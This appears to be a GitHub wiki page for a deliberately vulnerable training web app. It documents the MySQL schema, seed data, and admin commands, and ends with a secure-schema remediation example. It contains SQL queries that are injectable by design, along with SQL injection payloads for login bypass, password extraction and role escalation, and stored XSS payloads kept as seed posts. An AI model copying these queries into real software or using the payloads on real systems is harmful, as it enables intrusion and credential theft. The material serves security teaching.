Database Schema

Overview

The Weak Website uses MySQL as its database system with intentionally vulnerable schema design and data handling practices. This document details the database structure, relationships, and security implications for educational purposes.

Database Configuration

Connection Details

Database Engine: MySQL 8.0+
Database Name: hermes-weak-website-db
Default Port: 3306 (internal Docker network)
Character Set: utf8mb4
Collation: utf8mb4_unicode_ci

Authentication (Intentionally Weak)

Username: user
Password: password
Root Password: password
Admin User: root

Security Issues:

Plain text credentials in configuration files
Weak passwords for educational demonstration
No encrypted connections (SSL disabled)
Overly permissive user privileges

Entity Relationship Diagram

┌─────────────────────────────────────┐
│                User                 │
├─────────────────────────────────────┤
│ id (PK, INT, AUTO_INCREMENT)        │
│ email (VARCHAR(255), UNIQUE)        │
│ password (VARCHAR(255))             │  ──┐
│ role (VARCHAR(50), DEFAULT 'user')  │    │
│ createdAt (DATETIME(6))             │    │
└─────────────────────────────────────┘    │
                                           │ 1:N
                                           │
┌─────────────────────────────────────┐    │
│                Post                 │    │
├─────────────────────────────────────┤    │
│ id (PK, INT, AUTO_INCREMENT)        │    │
│ content (TEXT)                      │ ───┘
│ userId (FK, INT)                    │
│ createdAt (DATETIME(6))             │
└─────────────────────────────────────┘

Table Definitions

User Table

Schema Definition

CREATE TABLE `user` (
  `id` int NOT NULL AUTO_INCREMENT,
  `email` varchar(255) NOT NULL UNIQUE,
  `password` varchar(255) NOT NULL,
  `role` varchar(50) DEFAULT 'user',
  `createdAt` datetime(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6),
  PRIMARY KEY (`id`),
  UNIQUE KEY `UK_user_email` (`email`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

TypeORM Entity

@Entity()
export class User {
  @PrimaryGeneratedColumn()
  id: number;

  @Column({ unique: true })
  email: string;

  @Column()
  password: string;  // Stored in plain text (vulnerability)

  @Column({ default: 'user' })
  role: string;

  @CreateDateColumn()
  createdAt: Date;

  @OneToMany(() => Post, post => post.user)
  posts: Post[];
}

Security Vulnerabilities

Plain Text Passwords: Passwords stored without hashing
No Input Validation: Direct SQL string concatenation
Privilege Escalation: Role field can be manipulated via parameter pollution
Information Disclosure: Email enumeration possible

Sample Data

INSERT INTO `user` VALUES 
(1, '[email protected]', 'password123', 'admin', '2024-01-01 00:00:00.000000'),
(2, '[email protected]', 'userpass123', 'user', '2024-01-01 01:00:00.000000'),
(3, '[email protected]', 'demo123', 'user', '2024-01-01 02:00:00.000000');

Post Table

Schema Definition

CREATE TABLE `post` (
  `id` int NOT NULL AUTO_INCREMENT,
  `content` text NOT NULL,
  `userId` int NOT NULL,
  `createdAt` datetime(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6),
  PRIMARY KEY (`id`),
  KEY `FK_post_user` (`userId`),
  CONSTRAINT `FK_post_user` FOREIGN KEY (`userId`) REFERENCES `user` (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

TypeORM Entity

@Entity()
export class Post {
  @PrimaryGeneratedColumn()
  id: number;

  @Column('text')
  content: string;  // No sanitization or length limit

  @Column()
  userId: number;

  @CreateDateColumn()
  createdAt: Date;

  @ManyToOne(() => User, user => user.posts)
  user: User;
}

Security Vulnerabilities

XSS Storage: Raw HTML/JavaScript stored without sanitization
No Content Filtering: Unlimited content length and type
Weak Access Control: No authorization checks on post modification
SQL Injection: Direct query construction in service layer

Sample Data

INSERT INTO `post` VALUES 
(1, 'Welcome to the vulnerable social platform!', 1, '2024-01-01 00:30:00.000000'),
(2, '<script>console.log("XSS Demo")</script>', 1, '2024-01-01 00:45:00.000000'),
(3, 'This is a normal user post.', 2, '2024-01-01 01:15:00.000000'),
(4, '<img src=x onerror=alert("Stored XSS")>', 2, '2024-01-01 01:30:00.000000');

Database Queries and Vulnerabilities

Vulnerable Query Examples

Authentication Queries (SQL Injection Vulnerable)

// auth.service.ts - VULNERABLE CODE
async login(email: string, password: string) {
  // Direct string concatenation - SQL injection vulnerable
  const user = await this.userRepository.query(
    `SELECT * FROM user WHERE email = '${email}' AND password = '${password}'`
  );
  return user;
}

async signup(email: string, password: string) {
  // Direct string concatenation - SQL injection vulnerable
  await this.userRepository.query(
    `INSERT INTO user (email, password, role) VALUES ('${email}', '${password}', 'user')`
  );
}

User Enumeration Queries

// Direct SQL execution without protection
async getUserById(userId: number) {
  const user = await this.userRepository.query(
    `SELECT * FROM user WHERE id = ${userId}`
  );
  return user[0];
}

Post Queries (XSS Vulnerable)

// post.service.ts - VULNERABLE CODE
async create(userId: number, createPostDto: CreatePostDto) {
  const post = new Post();
  post.content = createPostDto.content; // No sanitization
  post.userId = userId;
  return this.postRepository.save(post);
}

Exploitation Examples

SQL Injection Attack Scenarios

Authentication Bypass

-- Original query
SELECT * FROM user WHERE email = '[email protected]' AND password = 'password123'

-- Injected query (email: admin'-- password: anything)
SELECT * FROM user WHERE email = 'admin'--' AND password = 'anything'
-- Password check is commented out

-- Union injection (email: ' UNION SELECT 1,2,3,4-- password: anything)
SELECT * FROM user WHERE email = '' UNION SELECT 1,2,3,4--' AND password = 'anything'

Data Extraction

-- Extract all users
' UNION SELECT GROUP_CONCAT(CONCAT(email,':',password)),null,null,null FROM user--

-- Extract database information
' UNION SELECT @@version,@@datadir,USER(),database()--

-- Extract table structure
' UNION SELECT GROUP_CONCAT(table_name),null,null,null FROM information_schema.tables WHERE table_schema=database()--

Privilege Escalation via Registration

-- Original registration query
INSERT INTO user (email, password, role) VALUES ('[email protected]', 'password', 'user')

-- Injected registration (email: [email protected]',(SELECT 'password','admin'))-- password: ignored)
INSERT INTO user (email, password, role) VALUES ('[email protected]',(SELECT 'password','admin'))--', 'ignored', 'user')

Database Schema Exploration

Information Schema Queries

-- Get all databases
SELECT schema_name FROM information_schema.schemata;

-- Get all tables in current database
SELECT table_name, table_type, engine 
FROM information_schema.tables 
WHERE table_schema = database();

-- Get column information
SELECT table_name, column_name, data_type, is_nullable, column_default
FROM information_schema.columns 
WHERE table_schema = database();

-- Get foreign key relationships
SELECT 
  constraint_name,
  table_name,
  column_name,
  referenced_table_name,
  referenced_column_name
FROM information_schema.key_column_usage 
WHERE table_schema = database() 
AND referenced_table_name IS NOT NULL;

Database Statistics

-- Table sizes and row counts
SELECT 
  table_name,
  table_rows,
  data_length,
  index_length,
  (data_length + index_length) as total_size
FROM information_schema.tables 
WHERE table_schema = database();

-- User statistics
SELECT 
  role,
  COUNT(*) as user_count,
  MIN(createdAt) as first_user,
  MAX(createdAt) as latest_user
FROM user 
GROUP BY role;

-- Post statistics
SELECT 
  u.email,
  COUNT(p.id) as post_count,
  MAX(p.createdAt) as last_post
FROM user u 
LEFT JOIN post p ON u.id = p.userId 
GROUP BY u.id, u.email;

Database Security Analysis

Current Security Posture

Authentication and Authorization

No Password Hashing: Passwords stored in plain text
Weak Credentials: Default passwords like 'password123'
No Account Lockout: Unlimited login attempts allowed
Privilege Escalation: Role field can be manipulated

Input Validation

No Prepared Statements: Raw SQL query construction
No Input Sanitization: Direct user input in queries
No Length Limits: Unlimited content length allowed
No Type Validation: String inputs accepted for all fields

Data Protection

No Encryption: All data stored in plain text
No Access Logging: No audit trail of data access
Overpermissive Schema: No constraints on sensitive fields
No Data Classification: All data treated equally

Network Security

No SSL/TLS: Database connections unencrypted
Weak Authentication: Simple password-based auth only
No Connection Limits: Unlimited concurrent connections
No IP Restrictions: Database accessible from any IP

Attack Surface Analysis

High-Risk Areas

Authentication Endpoints: Direct SQL injection points
User Registration: Privilege escalation via role manipulation
Post Content: XSS storage and execution
User Enumeration: Information disclosure via timing attacks

Medium-Risk Areas

Password Reset: Functionality disabled but code present
Profile Updates: Direct database updates without validation
Session Management: Weak JWT implementation
File Metadata: Potential for metadata injection

Low-Risk Areas

Static Content: Read-only data with limited exposure
System Tables: Protected by database-level permissions
Backup Data: Not directly accessible via application

Database Administration

Connection and Management

Direct Database Access

# Connect to database via Docker
docker-compose exec db mysql -u user -ppassword hermes-weak-website-db

# Connect as root
docker-compose exec db mysql -u root -ppassword

# Execute single command
docker-compose exec db mysql -u user -ppassword hermes-weak-website-db -e "SELECT COUNT(*) FROM user;"

Backup and Restore

# Create backup
docker-compose exec db mysqldump -u user -ppassword hermes-weak-website-db > backup.sql

# Restore from backup
docker-compose exec -T db mysql -u user -ppassword hermes-weak-website-db < backup.sql

# Export specific table
docker-compose exec db mysqldump -u user -ppassword hermes-weak-website-db user > users_backup.sql

Database Monitoring

-- Check active connections
SHOW PROCESSLIST;

-- View recent queries (if general log enabled)
SELECT * FROM mysql.general_log ORDER BY event_time DESC LIMIT 10;

-- Check table status
SHOW TABLE STATUS FROM `hermes-weak-website-db`;

-- View current configuration
SHOW VARIABLES LIKE '%log%';

Performance and Optimization

Database Configuration (Intentionally Unoptimized)

-- Current settings (educational/vulnerable)
SET GLOBAL general_log = 'ON';                    -- Log all queries
SET GLOBAL slow_query_log = 'ON';                -- Log slow queries
SET GLOBAL long_query_time = 0;                  -- Log all queries as "slow"
SET GLOBAL log_queries_not_using_indexes = 'ON'; -- Log unindexed queries
SET GLOBAL query_cache_size = 0;                 -- Disable query cache

Index Analysis

-- Show current indexes
SHOW INDEX FROM user;
SHOW INDEX FROM post;

-- Analyze query performance
EXPLAIN SELECT * FROM user WHERE email = '[email protected]';
EXPLAIN SELECT * FROM post WHERE userId = 1;

-- Check for unused indexes
SELECT 
  object_schema,
  object_name,
  index_name
FROM performance_schema.table_io_waits_summary_by_index_usage 
WHERE index_name IS NOT NULL 
AND count_star = 0;

Data Migration and Seeding

Initial Data Setup

-- Create database schema
CREATE DATABASE IF NOT EXISTS `hermes-weak-website-db`;
USE `hermes-weak-website-db`;

-- Create users table
CREATE TABLE IF NOT EXISTS `user` (
  `id` int NOT NULL AUTO_INCREMENT,
  `email` varchar(255) NOT NULL UNIQUE,
  `password` varchar(255) NOT NULL,
  `role` varchar(50) DEFAULT 'user',
  `createdAt` datetime(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6),
  PRIMARY KEY (`id`),
  UNIQUE KEY `UK_user_email` (`email`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- Create posts table
CREATE TABLE IF NOT EXISTS `post` (
  `id` int NOT NULL AUTO_INCREMENT,
  `content` text NOT NULL,
  `userId` int NOT NULL,
  `createdAt` datetime(6) NOT NULL DEFAULT CURRENT_TIMESTAMP(6),
  PRIMARY KEY (`id`),
  KEY `FK_post_user` (`userId`),
  CONSTRAINT `FK_post_user` FOREIGN KEY (`userId`) REFERENCES `user` (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- Insert default test data
INSERT IGNORE INTO `user` VALUES 
(1, '[email protected]', 'password123', 'admin', NOW()),
(2, '[email protected]', 'userpass123', 'user', NOW()),
(3, '[email protected]', 'demo123', 'user', NOW());

INSERT IGNORE INTO `post` VALUES 
(1, 'Welcome to the vulnerable social platform!', 1, NOW()),
(2, '<script>console.log("XSS Demo")</script>', 1, NOW()),
(3, 'This is a normal user post.', 2, NOW());

Test Data Generation

-- Generate additional test users
INSERT INTO user (email, password, role, createdAt) VALUES
('[email protected]', 'test123', 'user', NOW()),
('[email protected]', 'test456', 'user', NOW()),
('[email protected]', 'mod123', 'moderator', NOW());

-- Generate test posts with various XSS payloads
INSERT INTO post (content, userId, createdAt) VALUES
('<img src=x onerror=alert("XSS1")>', 1, NOW()),
('<svg onload=alert("XSS2")>', 2, NOW()),
('<iframe src="javascript:alert(\'XSS3\')"></iframe>', 3, NOW()),
('Normal post content without XSS', 2, NOW());

Security Testing Queries

Vulnerability Verification

-- Verify plain text passwords
SELECT id, email, password, role FROM user;

-- Check for XSS content in posts
SELECT id, content, userId, createdAt FROM post WHERE content LIKE '%<script%' OR content LIKE '%onerror%';

-- Analyze user roles for privilege escalation
SELECT role, COUNT(*) as count FROM user GROUP BY role;

-- Check for SQL injection artifacts
SELECT * FROM user WHERE email LIKE '%\'%' OR email LIKE '%union%' OR email LIKE '%select%';

Data Extraction Simulation

-- Simulate data breach scenarios
SELECT 
  u.email,
  u.password,
  u.role,
  COUNT(p.id) as post_count
FROM user u 
LEFT JOIN post p ON u.id = p.userId 
GROUP BY u.id;

-- Extract sensitive content
SELECT 
  p.content,
  u.email as author,
  p.createdAt
FROM post p 
JOIN user u ON p.userId = u.id 
WHERE p.content LIKE '%script%' OR p.content LIKE '%alert%';

Remediation Examples

Secure Schema Design (For Reference)

-- Secure user table (not implemented in vulnerable app)
CREATE TABLE `user_secure` (
  `id` int NOT NULL AUTO_INCREMENT,
  `email` varchar(255) NOT NULL UNIQUE,
  `password_hash` varchar(255) NOT NULL,  -- Hashed passwords
  `salt` varchar(255) NOT NULL,           -- Salt for hashing
  `role` enum('user','admin','moderator') DEFAULT 'user', -- Constrained values
  `failed_login_attempts` int DEFAULT 0,  -- Account lockout
  `locked_until` datetime NULL,           -- Lockout expiration
  `created_at` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_at` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `UK_user_email` (`email`),
  INDEX `idx_user_role` (`role`),
  INDEX `idx_user_created` (`created_at`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- Secure post table (not implemented in vulnerable app)
CREATE TABLE `post_secure` (
  `id` int NOT NULL AUTO_INCREMENT,
  `content` text NOT NULL,
  `content_sanitized` text NOT NULL,      -- Sanitized version
  `user_id` int NOT NULL,
  `is_approved` boolean DEFAULT FALSE,    -- Content moderation
  `created_at` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP,
  `updated_at` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  FOREIGN KEY (`user_id`) REFERENCES `user_secure`(`id`) ON DELETE CASCADE,
  INDEX `idx_post_user` (`user_id`),
  INDEX `idx_post_created` (`created_at`),
  FULLTEXT INDEX `idx_post_content` (`content_sanitized`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

Next Steps:

Use this schema knowledge with SQL Injection techniques
Apply to Testing Methodology for systematic database testing
Reference in Vulnerability Overview for impact assessment

Related Topics:

Technical Architecture - Overall system design
Configuration - Database configuration details
API Reference - Database interaction endpoints

Database Schema - capstone-hermes/hermes-fullstack GitHub Wiki

Database Schema

Overview

Database Configuration

Connection Details

Authentication (Intentionally Weak)

Entity Relationship Diagram

Table Definitions

User Table

Schema Definition

TypeORM Entity

Security Vulnerabilities

Sample Data

Post Table

Schema Definition

TypeORM Entity

Security Vulnerabilities

Sample Data

Database Queries and Vulnerabilities

Vulnerable Query Examples

Authentication Queries (SQL Injection Vulnerable)

User Enumeration Queries

Post Queries (XSS Vulnerable)

Exploitation Examples

SQL Injection Attack Scenarios

Authentication Bypass

Data Extraction

Privilege Escalation via Registration

Database Schema Exploration

Information Schema Queries

Database Statistics

Database Security Analysis

Current Security Posture

Authentication and Authorization

Input Validation

Data Protection

Network Security

Attack Surface Analysis

High-Risk Areas

Medium-Risk Areas

Low-Risk Areas

Database Administration

Connection and Management

Direct Database Access

Backup and Restore

Database Monitoring

Performance and Optimization

Database Configuration (Intentionally Unoptimized)

Index Analysis

Data Migration and Seeding

Initial Data Setup

Test Data Generation

Security Testing Queries

Vulnerability Verification

Data Extraction Simulation

Remediation Examples

Secure Schema Design (For Reference)

⚠️ **GitHub.com Fallback** ⚠️

⚠️ GitHub.com Fallback ⚠️